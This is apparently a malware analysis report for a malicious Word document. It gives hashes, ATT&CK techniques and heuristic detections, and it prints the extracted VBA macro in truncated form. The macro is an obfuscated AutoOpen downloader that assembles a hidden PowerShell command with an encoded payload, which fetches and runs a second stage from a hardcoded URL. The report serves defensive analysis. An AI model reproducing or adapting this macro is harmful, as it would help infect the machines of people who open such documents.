Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 29e72e4437c0ab6b…

MALICIOUS

Office (OLE)

283.5 KB Created: 2018-02-16 14:00:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: cdf544f79f16d13589466d41fa9f6773 SHA-1: 2281b404eb564ee4bb18efed328f19aa479fa9a9 SHA-256: 29e72e4437c0ab6bd3787ec3243e9cf1157285c1f0fca8d957fc211749672b14
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that is designed to execute code. The macro constructs a PowerShell command by concatenating strings and array elements. This command, when executed, downloads and runs a second-stage payload from a hardcoded URL. The critical OLE_VBA_SHELL heuristic firing confirms the use of the Shell() function, which is used here to launch PowerShell.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6427 bytes
SHA-256: 37c427f0f762d297d56e07881bfeb615fed4f4fc57045531c45bccdd98f22990
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "speed"
Sub AutoOpen()
    Dim ES_MH As String
    FR_RD = Array("c", "u", "-", "o", "b", " ", "l", "s", "w", "a", "e", "n", "r", "y", "h", "d", "i", "p", "x", "t")
    Dim EO_QF As String
    EO_QF = "ZgB1AG4AYwB0AGkAbwBuACAAYQAoA"
    ES_MH = ES_MH + FR_RD(17)
    ES_MH = ES_MH + FR_RD(3)
    Dim GR_RA As String
    GR_RA = "CQAeAApAHsAcgBlAHQAdQByAG4AIABbAFMAeQ"
    ES_MH = ES_MH + FR_RD(8)
    ES_MH = ES_MH + FR_RD(10)
    Dim JP_PD As String
    JP_PD = "BzAHQAZQBtAC4AVAB"
    ES_MH = ES_MH + FR_RD(12)
    ES_MH = ES_MH + FR_RD(7)
    Dim GP_LI As String
    GP_LI = "lAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdAD"
    ES_MH = ES_MH + FR_RD(14)
    ES_MH = ES_MH + FR_RD(10)
    Dim BQ_LD As String
    BQ_LD = "oAOgBVAFQARgA4AC4AR"
    BP_TA = BP_TA & EO_QF & GR_RA & JP_PD & GP_LI & BQ_LD
    ES_MH = ES_MH + FR_RD(6)
    ES_MH = ES_MH + FR_RD(6)
    Dim BO_SC As String
    BO_SC = "wBlAHQAUwB0AHI"
    ES_MH = ES_MH + FR_RD(5)
    ES_MH = ES_MH + FR_RD(2)
    Dim GM_LI As String
    GM_LI = "AaQBuAGcAKABbAFMAeQBzAH"
    ES_MH = ES_MH + FR_RD(8)
    ES_MH = ES_MH + FR_RD(16)
    Dim FN_SB As String
    FN_SB = "QAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtA"
    ES_MH = ES_MH + FR_RD(11)
    ES_MH = ES_MH + FR_RD(15)
    Dim AL_QE As String
    AL_QE = "EIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgA"
    ES_MH = ES_MH + FR_RD(3)
    ES_MH = ES_MH + FR_RD(8)
    Dim EP_RF As String
    EP_RF = "JAB4ACkAKQB9ADsAaQBlAHgAIAAkACgAYQAgAC"
    BP_TA = BP_TA & BO_SC & GM_LI & FN_SB & AL_QE & EP_RF
    ES_MH = ES_MH + FR_RD(7)
    ES_MH = ES_MH + FR_RD(19)
    Dim CL_LI As String
    CL_LI = "QAKAAkACgAJA"
    ES_MH = ES_MH + FR_RD(13)
    ES_MH = ES_MH + FR_RD(6)
    Dim GO_MJ As String
    GO_MJ = "AoAGkAbgB2AG8AawBl"
    ES_MH = ES_MH + FR_RD(10)
    ES_MH = ES_MH + FR_RD(5)
    Dim FP_SC As String
    FP_SC = "AC0AdwBlAGIAcgBlAHEAdQBlAHMAdAA"
    ES_MH = ES_MH + FR_RD(14)
    ES_MH = ES_MH + FR_RD(16)
    Dim FM_KB As String
    FM_KB = "gACcAaAB0AHQAcABzADoALwAvAHUAcwBwA"
    ES_MH = ES_MH + FR_RD(15)
    ES_MH = ES_MH + FR_RD(15)
    Dim DM_MG As String
    DM_MG = "HIAZAA1ADEANQA"
    BP_TA = BP_TA & CL_LI & GO_MJ & FP_SC & FM_KB & DM_MG
    ES_MH = ES_MH + FR_RD(10)
    ES_MH = ES_MH + FR_RD(11)
    Dim IR_TG As String
    IR_TG = "wAGMAZQBuAHQAcgBhAGwALgB0AGEAYgBsAGUALgBjA"
    ES_MH = ES_MH + FR_RD(5)
    ES_MH = ES_MH + FR_RD(2)
    Dim AN_MB As String
    AN_MB = "G8AcgBlAC4AdwBpAG4"
    ES_MH = ES_MH + FR_RD(10)
    ES_MH = ES_MH + FR_RD(18)
    Dim ET_PI As String
    ET_PI = "AZABvAHcAcwAuAG4"
    ES_MH = ES_MH + FR_RD(10)
    ES_MH = ES_MH + FR_RD(0)
    Dim DR_LA As String
    DR_LA = "AZQB0AC8AdwBhAHIAZQB"
    ES_MH = ES_MH + FR_RD(1)
    ES_MH = ES_MH + FR_RD(19)
    Dim JN_MH As String
    JN_MH = "oAG8AdQBzA"
    BP_TA = BP_TA & IR_TG & AN_MB & ET_PI & DR_LA & JN_MH
    ES_MH = ES_MH + FR_RD(16)
    ES_MH = ES_MH + FR_RD(3)
    Dim DQ_ND As String
    DQ_ND = "GUAPwAkAGYAaQBsAHQAZQByA"
    ES_MH = ES_MH + FR_RD(11)
    ES_MH = ES_MH + FR_RD(17)
    Dim JT_RA As String
    JT_RA = "D0AUABhAHIAdABpAHQAaQBvAG4ASw"
    ES_MH = ES_MH + FR_RD(3)
    ES_MH = ES_MH + FR_RD(6)
    Dim BR_LJ As String
    BR_LJ = "BlAHkAJQAyA"
    ES_MH = ES_MH + FR_RD(16)
    ES_MH = ES_MH + FR_RD(0)
    Dim CQ_LF As String
    CQ_LF = "DAAZQBxAC"
    ES_MH = ES_MH + FR_RD(13)
    ES_MH = ES_MH + FR_RD(5)
    Dim HO_RJ As String
    HO_RJ = "UAMgAwACUAMgA3"
    BP_TA = BP_TA & DQ_ND & JT_RA & BR_LJ & CQ_LF & HO_RJ
    ES_MH = ES_MH + FR_RD(4)
    ES_MH = ES_MH + FR_RD(13)
    Dim DS_MA As String
    DS_MA = "AHMAdABhAGcAZQAlADIA"
    ES_MH = ES_MH + FR_RD(17)
    ES_MH = ES_MH + FR_RD(9)
    Dim HT_QH As String
    HT_QH = "NwAmACQAUwBlAGwAZQ
... (truncated)

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